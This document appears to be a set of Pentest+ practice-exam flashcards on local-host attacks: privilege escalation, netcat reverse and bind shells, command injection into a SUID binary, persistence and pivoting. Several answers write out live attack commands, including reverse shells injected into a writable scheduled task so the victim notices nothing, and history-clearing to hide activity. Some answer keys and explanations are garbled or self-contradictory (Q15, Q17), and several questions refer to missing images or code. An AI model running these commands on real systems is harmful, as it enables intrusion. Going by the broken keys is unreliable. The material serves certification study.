Pentest+ Practice Exam Chapter 10 Attacking Local Host Vulnerabilities (Jonanthan Ammerman) Flashcards

1
Q

Consider the following bash one-liner command for the first six questions.

  1. What is the effect of the string {1..254} in this command?

A. Indicates that the numbers 1 and 254 should be fed into the command for $i
B. Indicates that all integers between 1 and 254 should be fed into the command for $i at once C. Indicates that all integers from 1 to 254 should be iteratively fed into the command for $i
D. Indicates that every other integer starting from 1 should be fed iteratively into the command for $i, stopping once it reaches at least 254

A

C. Indicates that all integers from 1 to 254 should be iteratively fed into the command for $i

Explanation:
This is an example of a for loop—a command flow statement that indicates that all commands that follow should be executed repeatedly and iteratively “for” all possible values of a variable (i, in this case). The string {1..254} indicates a number sequence starting with 1 and ending at 254; for more information on this sequencing technique, search for “bash brace expansion” in your favorite search engine. A, B, and D are incorrect. A is incorrect because the {1..254} component indicates that all numbers from 1 to 254 should be fed into the command iteratively. A number sequence would be unnecessary for so few numbers; a simpler for loop setup in this case would be for i in 1 254. B is incorrect because a for loop necessarily indicates

Location: 7036

iteration; the command string will be run individually for each number in the sequence, stopping only once the sequence has been exhausted. D is incorrect because the brace expansion construct does not indicate that any number skipping should occur. A number sequence matching answer D would be {1..254..2}.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What is the effect of the string 2>&1 in this command? A. Redirects STDOUT to a file named &1
B. Makes the ping command skip every second IP address in the numeric sequence
C. Redirects STDERR to STDOUT
D. Concatenates STDERR to STDOUT before writing to a file named &1

A

C. Redirects STDERR to STDOUT

Explanation:
This component redirects error messages (STDERR) to the terminal output (STDOUT). For more information on the techniques in use here, search for “bash file descriptors” and “bash redirection operators” in your favorite search engine.
A is incorrect for two reasons: file descriptor 2 refers to STDERR rather than STDOUT, and the > operator does not write output to a file when followed by an &; at that point, it is redirecting the contents of the initial file descriptor to the second file descriptor. B is incorrect because the ping sequencing is managed by the number sequence defined in the for loop. D is incorrect because, as in answer A, the “>&” operator pair redirects file descriptor flow rather than writing to a file.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What is the function of the || operator in this command sequence?
A. Indicates that the command that follows should only be run if the previous command is successful
B. Indicates that the output of the command before the operator should be directed to the following command as input
C. Indicates that the command that follows should only be run if the previous command has an exit code of 0
D. Indicates that the command that follows should only be run if the previous command does not execute successfully

A

D. Indicates that the command that follows should only be run if the previous command does not execute successfully

Explanation:
The || character is the OR logical operation operator. When the || operator is present, the command that follows is executed if and only if the command before it fails. For more information on the functions in play, search for “bash Boolean operators” in your favorite search engine.
A is incorrect because the behavior described matches the AND operator, designated by the character pair &&. The && operator’s presence indicates that the command that follows is executed if and only if the command preceding it is successful. B is incorrect because the behavior described matches the | operator, or pipe. C is incorrect because, as detailed in answer A, this behavior is expected when the && operator is used to connect two commands.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is the effective result of this string of commands?

A. Pings assignable IP addresses in the 10.1.2.0/24 range with one packet, silences all output by redirecting it to /dev/null, and returns a simple message indicating whether or not the host is responding to ICMP requests
B. Pings assignable IP addresses in the 10.1.2.0/24 range for one minute, redirects all output to /dev/null, and returns two messages for each address—one saying the host is UP, the other saying the host is UNAVAILABLE
C. Pings a random IP address between 10.1.2.1 and 10.1.2.254 with one packet, silences all output by redirecting it to /dev/null, and returns a simple message indicating whether or not the host is available
D. Pings 10.1.2.1 and 10.1.2.254 for one minute each, silences all output by redirecting it to /dev/null, and returns a simple message indicating whether or not the host is available

A

A. Pings assignable IP addresses in the 10.1.2.0/24 range with one packet, silences all output by redirecting it to /dev/null, and returns a simple message indicating whether or not the host is responding to ICMP requests

Explanation:
The command presented will ping all assignable IP addresses from 10.1.2.1 to 10.1.2.254, silence all output, and print a simple message indicating whether or not the host is responding to ICMP requests. B, C, and D are incorrect. B is incorrect because the command sequence could not possibly print both commands for each host as written. Given that both the && and || operators rely on exit codes to determine logic flow, only one of those commands could run for any given IP address as generated by the brace expansion number sequence. C is incorrect

Location: 7098

because for loops run iteratively rather than select a random entry from the provided target list. D is incorrect because the for loop as written will necessarily address all IP addresses from 10.1.2.1 to 10.1.2.254. To only address those two IP addresses, the brace expansion component could be removed and the two IP addresses in question hardcoded in its place.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Assume that you know you are working with a /24 block of IP addresses, but you are uncertain which hosts are live. You want to minimize screen output to only print the IP addresses that are up and responding to pings. What modification could be made to this command in order to implement this change in output?

A. Delete the >/dev/null component of the sequence. B. Delete the || echo 10.1.2.$i UNAVAILABLE component of the sequence.
C. Add | nc -nv 10.1.3.2 4444 to the end of the command sequence.
D. Add > output.txt to the end of the command sequence.

A

B. Delete the || echo 10.1.2.$i UNAVAILABLE component of the sequence.

Explanation:
If the majority of the IP addresses in question are suspected to be unavailable, then removing the command that only prints to the terminal if a host does not respond to ICMP requests would be the most efficient means of minimizing output.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q
Which of the following commands are most useful in Linux privilege escalation when attempting to identify potential OS-specific vulnerabilities for exploit? (Choose two.)           
A. uname -r            
B. sudo -V            
C. cat /etc/*release            
D. sudo -l
A

A. uname -r
C. cat /etc/*release

Explanation:
A will return kernel version of a Linux host, facilitating a more focused search for kernel-level exploits. Answer C will return the specific release of a Linux host’s operating system, which can also help focus a search for an exploit path. B and D are incorrect. B is incorrect because sudo -V merely reports the version of sudo in use on a target host. Sudo is an application used to handle legitimate permission escalation, and the versions of sudo are not necessarily tied to given kernel or OS releases, making this incorrect. D is incorrect because sudo -l will only report the permissions available to a given user. Although this could potentially lead to privilege escalation through other means—writeable SUID applications, for instance, or write access to a script that runs as root—it is not going to present information that would help identify potential OS or kernel specific vulnerabilities, making it incorrect.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q
Which privilege escalation technique for *nix operating systems is notable for allowing attackers to control program execution on a target system without the need to write and deploy their own shellcode?            
A. Ret2libc            
B. NOP sled            
C. Heap spraying            
D. Stack smashing
A

A. Ret2libc

Explanation:
A ret2libc attack is a type of buffer overflow that exploits existing subroutines present in an application, making it unnecessary to write shellcode specifically for the attack. B, C, and D are incorrect. B is incorrect because a NOP sled (or NOP slide) is a technique used in buffer overflow attacks; the NOP instruction indicates that no action should be taken
by a processor, effectively sliding the instruction pointer further down the stack until it reaches an instruction pair that can be acted upon. C is incorrect because heap spraying is a technique used to facilitate other exploits. It consists of sending large blocks of bytecode to the memory of a target process (its heap), attempting to get a particular byte sequence into a specific location. D is incorrect because stack smashing is a subcategory of buffer overflow that occurs when a program writes data to memory that is not allocated for the data structure in question—for example, writing 80 characters to a 60-character buffer would “overflow” that buffer allotment.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Which of the following commands are most useful in Windows privilege escalation when attempting to identify potential OS-specific vulnerabilities for exploit? (Choose two.)
A. netsh firewall show config
B. systeminfo
C. wmic qfe
D. net users

A

B. systeminfo
C. wmic qfe

Explanation:
The systeminfo command returns details on the OS name, version, security hotfixes, and BIOS information for a given Windows host. When wmic—the Windows Management Interface CLI—is used with the qfe flag, it will provide further details on the hotfixes present on a target Windows system. Both commands can be immensely valuable in attempting to identify OS-specific vulnerabilities for exploit on a Windows host.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

During a penetration test, you collect low-level authentication credentials for a Linux server via a phishing attack. After testing and verifying these credentials, you begin searching for ways to escalate your privilege level and discover the following. What configuration vulnerability is represented in this screen capture?
A. Insecure SUID/SGID use
B. Sticky bit abuse
C. Password stored in plaintext
D. Insecure sudo access

A

D. Insecure sudo access

Explanation:
The sudo -l command here reveals that the user has access to all commands as the root user without the need to enter a password. This is a blatant example of
insecure sudo access, although others may be worth noting. For instance, being able to run a writeable script as root without a password would also be an easy path to privilege escalation.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q
During a penetration test, you discover what appears to be a custom binary in a user’s home directory. What configuration vulnerability is most likely to be present in this scenario, as displayed here?            
A. Sticky bit abuse            
B. Insecure sudo access            
C. Unquoted service path            
D. Insecure SUID/SGID use
A

D. Insecure SUID/SGID use

Explanation:
The SUID bit is set for the owner (root) for the vulnerable_ping file. SUID binaries are always worth investigating for command injection or other vulnerabilities (especially when they run as the root user) when seeking paths for privilege escalation.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

In the same directory mentioned in Question 10, you see what appears to be the .c file used to build the vulnerable executable in question. The contents of the file are shown next.

Based on the contents of this .c file, which of the following commands would likely result in privilege escalation via the compiled, root SUID binary? (Choose all that apply.)
A. ./vulnerable_ping “127.0.0.1 && /bin/dash”
B. ./vulnerable_ping “foo || sh -i”
C. ./vulnerable_ping “foo; /bin/bash”
D. ./vulnerable_ping 127.0.0.1; /bin/sh

A

A. ./vulnerable_ping “127.0.0.1 && /bin/dash”
B. ./vulnerable_ping “foo || sh -i”

Explanation:
A is correct because it sends a valid IP address to the ping command invoked by the application system() call, which will return with an exit code of 0. Since the command includes the AND operator (denoted by &&), the second command (/bin/dash—a lightweight shell used for init scripts in Ubuntu and other Linux distributions) will execute and provide the user with a EUID (Effective User ID) of 0, or root. B is correct because the command sends an invalid IP address (the string “foo”) to the ping command invoked by the application system() call, resulting in the command exiting with a nonzero exit code (indicating failure). Since the command string includes the OR operator (denoted by ||), the second command (shi) will execute, again providing the user with an EUID of 0. Note that in the case of both A and B, the argument sent to the application requires quotation marks. This treats the entire component as a single string, which is designated argv[1] by the application. Without quotation marks, whitespace would serve as a delineator separating separate command-line arguments (or argvs). In the case of A and B, for example, argv[1] would be “127.0.0.1” and “foo”, respectively.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

The output shown here is from a Linux application debugging and fuzzing session while searching for potential exploitable buffer overflows. Of the following choices, which is the debugging tool most likely in use?

A. OLLYDBG
B. GDB
C. WinDBG
D. Immunity Debugger

A

B. GDB

Explanation:
The debugger shown in the screen presented is GDB, the Gnu Debugger. It is a command-line tool found on several *nix operating systems by default and supports numerous programming languages, including C, Objective-C, Fortran, and Java. While GDB does not have a native graphical interface, several have been created by third parties. In addition, numerous IDEs are able to interface with GDB directly.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

Which method of attacking Windows systems exploits a weak encryption key used in Group Policy Objects to extract hardcoded user account passwords?

A. DLL hijacking
B. cpassword extraction
C. SAM database cracking
D. LSASS dumping

A

B. cpassword extraction

Explanation:
The cpassword attribute found in Group Policy Objects is a glaring security vulnerability due chiefly to the use of a static encryption key for all such entries as well as the open publication of the key used by Microsoft on its documentation pages. If a cpassword attribute is found in a Group Policy Object (found in the SYSVOL directory), it is as good as storing a password in plaintext.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Which method of attacking Windows family operating systems relies on remnants from the creation of a given system or server for privilege escalation?

A. Kerberoasting
B. Plaintext credential transmission via LDAP
C. Unattended installation artifact harvesting
D. cpassword extraction

A

C. Unattended installation artifact harvesting

Explanation:
In larger environments, it is common for administrators to automate OS creation in order to minimize the amount of busy work they have to handle manually. The issue here is that passwords can be left in documents that were a necessary part of the installation process—either in plaintext or encoded in base64.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Consider the following screenshots of a Windows privilege escalation attempt. What method of privilege escalation is being demonstrated with these changes?

A. Scheduled task abuse
B. Writeable service exploitation
C. DLL hijacking
D. Keylogging

A

B. Writeable service exploitation

Explanation:
This is a classic example of exploitation of a writeable service. Notice the binary path name change; instead of starting the svchost executable, a netcat reverse shell is configured to be called. Writeable services may be identified via the accesschk.exe executable, distributed with the NTLM hash of the account that owns the service. Kerberoasting tricks AD into providing a cryptographically weak ticket on which the attacker can then run a cracking attempt to obtain the account password.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Consider the following scheduled task in a Windows environment for which you have low-privilege access. Upon investigation, you find that the .bat file referenced can be modified by anyone and contains the following commands: cd “C:\Program Files\Rails_Server” C:\tools\ruby23\bin\rails.bat server You have already managed to smuggle a copy of nc.exe onto the target system at C:\Users\user\Desktop. Assuming your attacking IP is 10.1.2.2 and you have a netcat listener set up on port 80, which of the following actions would be the least invasive method to effect reliable privilege escalation?

A. Append “& C:\Users\user\Desktop\nc.exe -nv 10.1.2.2 80 -e C:\Windows\System32\cmd.exe” to the end of the line
B. Append “&& @start C:\Users\user\Desktop\nc.exe -nv 10.1.2.2 80 -e C:\Windows\System32\cmd.exe” to the end of the line
C. Overwrite the file contents with “C:\Users\user\Desktop\nc.exe -nv 10.1.2.2 80 -e C:\Windows\System32\cmd.exe”
D. Insert “@start /b C:\Users\user\Desktop\nc.exe -nv 10.1.2.2 80 -e C:\Windows\System32\cmd.exe &” into the command sequence, between the directory change and the rails.bat call

A

D. Insert “@start /b C:\Users\user\Desktop\nc.exe -nv 10.1.2.2 80 -e C:\Windows\System32\cmd.exe &” into the command sequence, between the directory change and the rails.bat call

Explanation:
Notice that the question referred to the least invasive method: by using the @start command directive, the netcat component of this batch file will run asynchronously in a separate command process, allowing the user-defined rails.bat call to continue to run. This will effectively ensure that the reverse shell calls home, while the legitimate user sees their rails server running, making them more likely to believe that all is well with their scheduled task.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q
In the example from Question 16, which of the following commands could be run on the attacking system to set up a listener for the reverse shell callback? (Choose two.)            
A. nc -nvlp 10.1.2.2 80
B. nc -nv 80           
C. nc -nvlp 80            
D. ncat -nvlp 80
A

B. nc -nv 80
C. nc -nvlp 80

Explanation:
The flags in use would establish a listener on port 80 with both the traditional netcat tool and with ncat, the spiritual successor to netcat, developed by the same team responsible for nmap.
A is incorrect because the inclusion of a full IP address will essentially trick the netcat binary; when it sees the number 10, it will ignore everything that follows the period and open a listener on port 10. B is incorrect because the flags in use indicate a client connection rather than establishing a listener.

18
Q

Of the following options, which command sequence would set up a bound shell on a Linux victim host as a low-privilege user?

A. nc -nvlp 4444 -e /bin/bash
B. nc -nv 10.1.2.2 1226 -e /bin/bash
C. nc -nvlp 8080 < /bin/bash
D. nc -nvlp 86 -e /bin/bash

A

A. nc -nvlp 4444 -e /bin/bash

Explanation:
The command string presented properly invokes netcat with the proper flags, a usable port designation, and the -e flag to execute /bin/bash for connections to the listener. Note the port number, 4444. This could theoretically be ANY port number—except ports 0 through 1023. These are privileged ports reserved for key services and functions; a user must have root access in order to bind these ports. B, C, and D are incorrect. B is incorrect because this command string would send a reverse shell to IP address 10.1.2.2 at port 1226; note the lack of the -l flag and the full destination IP. Because the question called for a bound shell, this is incorrect. C is incorrect because the attacker in this scenario is attempting to pass a bash shell via the input redirector, rather than with the -e flag. D is incorrect because as a low-privilege user, the victim would be unable to bind to port 86 since this is one of the privileged ports detailed earlier.

19
Q

Which of the following commands can be entered from an attacking system in order to upgrade a dumb shell to a full or pseudo-TTY environment?
A. python -E import pty; pty.spawn(“/bin/bash”) B. reset -r
C. python -c “import pty; pty.spawn(‘/bin/bash’)” D. reset -s

A

C. python -c “import pty; pty.spawn(‘/bin/bash’)”

Explanation:
The Python string shown here is priceless when obtaining shells via netcat. Shells obtained in this manner are commonly referred to as “dumb shells,” as they lack a full TTY environment, as well as the accompanying environment variables, and will not provide command history or a terminal prompt, which can all make for a frustrating and difficult-to-use shell. By invoking the Python pseudo-TTY with the -c flag (the command flag), a penetration tester is able to simulate a proper terminal well enough to clearly see what they are doing. Note that CTRL-C will break you out of such a pseudo-TTY; take care to prevent this happening. It is all too easy to spam that button combination a couple of times and completely lose your shell altogether.

20
Q

Which term refers to any technique that allows an attacker to bypass the boundaries of their immediate operating system environment and achieve interaction with the underlying hypervisor (or hosting operating system, in the case of a hosted hypervisor)?

A. VM escape
B. VENOM attack
C. Container escape
D. Cloudburst attack

A

A. VM escape

Explanation:
The attack described is a VM escape. Virtual machines run on a piece of software called a hypervisor—some hypervisors interact with the bare metal of an operating system (such as Xen or KVM), while others sit as an application layer under a hosting operating system (such as VirtualBox or VMware). In either case, a VM escape allows an attacker to gain access to a system higher in the chain than expected or authorized, enabling them to interact with other virtual machines or with other physical servers in the network.

21
Q

Which native Windows tool facilitates direct remote execution of PowerShell commands and scripts on target systems at ports 5985 and 5986, making it extremely valuable for attackers attempting to move laterally through a target network or environment? A. WinRM
B. WMI
C. PsExec
D. SMB

A

A. WinRM

Explanation:
WinRM—the Windows Remote Management interface—provides an attacker a means to execute PowerShell scripts or WMI commands remotely. It listens at ports 5985 and 5986 (HTTP and HTTPS, respectively). Note

22
Q
Which graphical remote connection tool is platform-agnostic, was originally developed by the Olivetti Research Laboratory in Cambridge, England, and can be used to facilitate both lateral movement and simpler access to a target system for an attacker?            
A. RDP            
B. VNC            
C. Apple Remote Desktop            
D. telnet
A

B. VNC

23
Q
Which technology was developed specifically to pass graphical application data through an SSH connection?            
A. RSH login            
B. Local port forwarding            
C. RDP            
D. X11 server forwarding
A

D. X11 server forwarding

Explanation:
X11 server forwarding can allow a user or attacker to pass graphical application data from a remote server to a user’s local desktop. This process requires a running X server such as Xming as well as X11 forwarding to be enabled in the user’s SSH client, such as PuTTY when connecting from a Windows operating system.

24
Q

__________-based persistence relies on the modification of applications that run in the background of an operating system; these are typically handled by the init process in *nix operating systems and the Service Control Manager in Windows

environments.
A. New user creation
B. Daemon
C. SSH public key installation
D. Scheduled task/job creation or modification

A

B. Daemon

Explanation:
The persistence technique described here is daemon-based persistence. By modifying a service that runs as the root or administrator user, an attacker can ensure that a remote shell is always available when a target system is up and running.

25
Q
Which method of achieving persistence relies on injecting malicious code into an existing application on the target system, exploiting an authorized user’s trust of that application?            
A. Scheduled task creation            
B. New user creation            
C. Daemon-based            
D. Trojan
A

D. Trojan

Explanation:
The technique described here is the creation of a trojan payload.

26
Q

After obtaining access to a target Linux system during a penetration test, which of the following would be good practices in order to obfuscate your activities? (Choose two.)

A. Run the command unset HISTFILE.
B. Configure a cron job to open a new reverse shell to the attacking system every day at noon.
C. Run the command sudo -l to identify permissions for the account being used.
D. Remove any files or artifacts that were created in the process of creating the original shell.

A

A. Run the command unset HISTFILE.
D. Remove any files or artifacts that were created in the process of creating the original shell.

Explanation:
The command unset HISTFILE would remove the shell history file from the current session’s environment variables, ensuring that commands entered by the penetration tester are not logged and therefore not readily visible to anyone looking for the attacker. Removal of files and artifacts is also a good policy, as numerous files with unexpected character names will eventually draw attention and suspicion from any user.

27
Q
Which tool, originally written as a means for the author to learn C development, is capable of extracting plaintext passwords and Kerberos tickets, in addition to performing pass-the-hash or pass-the-ticket attacks and creating golden tickets?
A. Patator            
B. Peach            
C. SonarQube            
D. Mimikatz
A

D. Mimikatz

Explanation:
Mimikatz is a tool capable of extracting passwords and Kerberos tickets from memory as well as running pass-the-hash or pass-the-ticket attacks, in addition to building golden tickets and enumerating system tokens. Mimikatz was originally developed by Benjamin Delpy, with assistance from Vincent Le Toux, for a component in the lsadump module.

28
Q
Which tool is a static code analyzer focused exclusively on the Java language and was originally developed by the University of Maryland?            
A. DynamoRIO            
B. Findbugs            
C. YASCA            
D. AFL
A

B. Findbugs

Explanation:
The tool described here is Findbugs—or as it is currently known, Spotbugs. Findbugs was a static code analyzer developed by the University of Maryland specifically for Java applications. Spotbugs bills itself as the spiritual successor of Findbugs, which can be taken to be a deprecated product, having last been updated in 2015. Spotbugs is in current development, however, and has a very robust community in place on its github page

29
Q

Which of the following techniques would allow an attacker to nearly instantly reestablish encrypted communications with a target Linux system with minimal effort?

A. Set up a bound shell via netcat or ncat in the command prompt and send it to the background.
B. Configure a cron job to send a netcat reverse shell back to the attacker daily at noon.
C. Install the attacking system’s public SSH key into the target system user’s .ssh/authorized_keys file.
D. Alter an existing startup script in /etc/init.d to include a bound netcat shell, ensuring a shell is available any time the target system boots.

A

C. Install the attacking system’s public SSH key into the target system user’s .ssh/authorized_keys file.

Explanation:
Installing a public SSH key in a user’s .authorized_keys file is a simple and effective way to ensure persistence of connectivity after compromising a target system. As an added benefit, the use of SSH as a connection protocol ensures that a penetration tester’s traffic is not only encrypted but that it blends in with other legitimate users in a way that a netcat listener bound to port 4444 does not

30
Q

Which of the following uses of SSH would establish a connection that would serve as an application layer network proxy? Assume the attacker’s IP to be 10.1.2.2 and the victim’s IP to be 10.1.2.3.

A. ssh 10.1.2.2 -L 8800:10.1.2.2:80
B. ssh -D 8888 root@10.1.2.3
C. ssh 10.1.2.2 -R 8800:127.0.0.1:8080
D. ssh root@10.1.2.3

A

B. ssh -D 8888 root@10.1.2.3

Explanation:
The -D flag in SSH is used to establish a dynamic proxy; once this connection is instantiated as written, a penetration tester can proxy all of their network traffic through port 8888 and thereby run commands against systems that may be visible from the compromised system receiving the SSH connection, but not from the attacker’s system. This tool is immensely powerful in that it facilitates much of a penetration tester’s ability to pivot through networks and move deeper into a target organization’s network.

31
Q

After establishing the proxy connection described in Question 30, which tool could be used to facilitate the proxying of all network traffic across the SSH tunnel for a given application?

A. Ncat
B. OWASP ZAP
C. Burp Suite
D. Proxychains

A

D. Proxychains

Explanation:
Proxychains enables a penetration tester to proxy all network traffic through an established SOCKS proxy, such as those created via SSH tunneling with the -D command.

32
Q

Which command-line tool serves as a front-end search tool for exploits detailed in the Exploit Database provided by Offensive Security?

A. Powersploit
B. Impacket
C. Responder
D. searchsploit

A

D. searchsploit

Explanation:
The tool described is searchsploit. Penetration testers should be intimately familiar with searchsploit and its finer details, as the ability to rapidly search for, identify, and obtain exploit code is a fantastic force multiplier in a penetration test.

A is incorrect because Powersploit is a collection of post-exploitation scripts that leverage PowerShell to move laterally and escalate privileges. It is available at its github page (https://github.com/PowerShellMafia/PowerSploit

Location: 7693

PowerShellMafia/PowerSploit) from a group billing itself as the PowerShellMafia, but the suite is present in Kali Linux by default at /usr/share/powersploit. B is incorrect because Impacket is a collection of Python classes designed to facilitate easier communication with various network protocols, such as SMB and MSRPC. It is available at its gitgub page (https://github.com/CoreSecurity/impacket) from Core Security, but is baked into the core Python 2.7 implementation present in Kali Linux as well. C is incorrect because Responder is a LLMNR, NBT-NS, and MDNS poisoner with a built-in rogue authentication server. It is available at its github page (https://github.com/SpiderLabs/Responder) but can be invoked natively in Kali Linux at /usr/sbin/responder.

33
Q

Which framework is designed to leverage PowerShell to move laterally, escalate privileges, and perform other post-exploitation activities in Windows environments?

A. Powersploit
B. Mimikatz
C. Empire
D.UnmanagedPowerShell

A

C. Empire

Explanation:
The framework described is Empire. Empire relies on agents that run on target systems (PowerShell 2.0 for Windows; Python 2.6/2.7 for Linux and macOS) that are then used to run PowerShell agents without invoking PowerShell and provides modules for keylogging, Mimikatz, and various other functions. Empire integrates components of other open-source projects and in doing so is able to present numerous simple, effective post-exploitation tools. Empire is available at its github page (https://github.com/EmpireProject/Empire) by the Empire Project.

34
Q

Which attack technique can be used for pivoting or privilege escalation in Windows environments and effectively bypasses the password requirement for authentication?

A. Passing the hash
B. Scheduled task abuse
C. Decompiling
D. SSH dynamic proxying

A

A. Passing the hash

Explanation:
The technique described is passing the hash. A quirk in how Windows handles passwords makes it feasible to simply pass an encrypted hash to an authentication request, rather than needing the plaintext password. B, C, and D are incorrect. B is incorrect because scheduled task abuse occurs most often when a script or .bat file that run as part of a scheduled task is world-writeable; neither password nor NTLM hash is required to abuse a world-writeable file. C is incorrect decompiling is the process by which one can obtain the source code for an application or tool from its compiled, executable form. While it is of great use during the process of fuzzing or attacking an application, it does not bypass password requirements, nor is it solely applicable to Windows systems. D is incorrect because SSH dynamic proxying provides much of a penetration tester’s ability to pivot through networks and move deeper into a target organization’s network, but does not directly provide shell access to a given system.

35
Q

Consider the Metasploit module.

Assuming the pre-populated items are valid for the target host, what option or options would an attacker need to define before being able to run this module? (Choose all that apply.)           
A. VHOST
B. Proxies            
C. RHOST            
D. SSL
A

C. RHOST

Explanation:
The only missing component here is the RHOST designation, which indicates the remote host to be targeted for exploit. A, B, and D are incorrect. All of these components are either unnecessary or their default values are valid.

36
Q
Consider the msfvenom command executed here.           Based on the output, what encoder is being used for this shellcode?            
A. Linux            
B. x86/shikata_ga_nai            
C. sh            
D. linux/x86/shell/reverse_tcp
A

B. x86/shikata_ga_nai

Explanation:
The encoder used is shikata_ga_nai, which excels at handling bad characters and masking the static signature of the shellcode it manipulates. A, C, and D are incorrect. A is incorrect because the –platform flag indicates that the payload is being generated for Linux and has no bearing on the encoder in use. C is incorrect because the –format flag indicates that msfvenom should output the shellcode in a command string that is readable by /bin/sh. D is incorrect because the –payload flag determines the specific type of shellcode to be generated—in this case, a standard reverse TCP shell.

37
Q

Consider the following brief Python script.

What should be the expected output of running this code as written?
A. Failure; ValueError.
B. Successful execution; “foo” is printed twice. C. Failure; OSError.
D. Successful execution; the character “x” is printed twice.

A

A. Failure; ValueError.

Explanation:
The code written attempts to use the int() method on x, which is a variable consisting of the string “foo”. This will result in a ValueError and halt execution. B, C, and D are incorrect. B is incorrect because this behavior could be triggered by either removing the line of code reading x = int(x) or replacing it with x = str(x). C is incorrect because an OSError would be expected when there is a failure at the OS level outside of the Python interpreter. D is incorrect for two reasons: First, x is defined as a variable equal to the string “foo”. Second, as written, this code would attempt to run the int() method on the variable x, triggering a ValueError.

38
Q

Consider this revised Python script. What would be the expected behavior of this script if a user enters the string “foo” when prompted?

Location: 6943

A. Successful execution; script prints “You entered foo.”
B. Failure; script prints “Oops, we caught an error: an integer is required.”
C. Failure; script prints “Oops, we caught an error: invalid literal for int() base 10: ‘foo’.”
D. Successful execution; script prints “You entered str(foo).”

A

C. Failure; script prints “Oops, we caught an error: invalid literal for int() base 10: ‘foo’.”

Explanation:
The error handling added with the try and except blocks would result in a proper error message as defined in answers B and C. Given the fact that the actual exception caught would be printed to the terminal, however, answer C is the correct choice.

39
Q

In the script in Question 38, what would be the expected behavior if a user enters the string “1234” when prompted?
A. Successful execution; script prints “You entered str(1234).”
B. Failure; TypeError (a float is required).
C. Failure; ValueError (invalid literal for int()).
D. Successful execution; script prints “You entered 1234.”

A

D. Successful execution; script prints “You entered 1234.”

Explanation:
After the user enters “1234,” the script will test it with the int() method, then print “You entered” followed by the user’s input formatted as a string. The str() method
must be called here because it is not possible in Python to concatenate str objects with int objects.

40
Q

Consider the following Python script.

What would be the expected behavior of executing this script?
A. Successful execution; the strings “one,” “two,” “three,” and “go” are all printed on their own lines with a one-minute delay between each.
B. Successful execution; the strings “one,” “two,” “three,” and “go” are all printed on their own lines with a one-second delay between each.
C. Failure; ValueError(invalid literal for int()).
D. Successful execution; the strings “one,” “two,” “three,” and “go” are printed all at once on a single line.

A

B. Successful execution; the strings “one,” “two,” “three,” and “go” are all printed on their own lines with a one-second delay between each.

Explanation:
This script uses a data structure known as a list in Python—other languages may have a different name for this type of data structure. A list is an ordered sequence of objects that are collectively referred to under a single variable declaration. The individual elements of a list do not all need to be of the same type; it is possible to form a list with strings, integers, and other data types. This list is fed into a for loop
in the try block, after which Python iterates through the list, printing the contents of each element as a string, waiting one second between iterations. The sleep method imported with the time module takes a number to use as the number of seconds to sleep, not the number of minutes.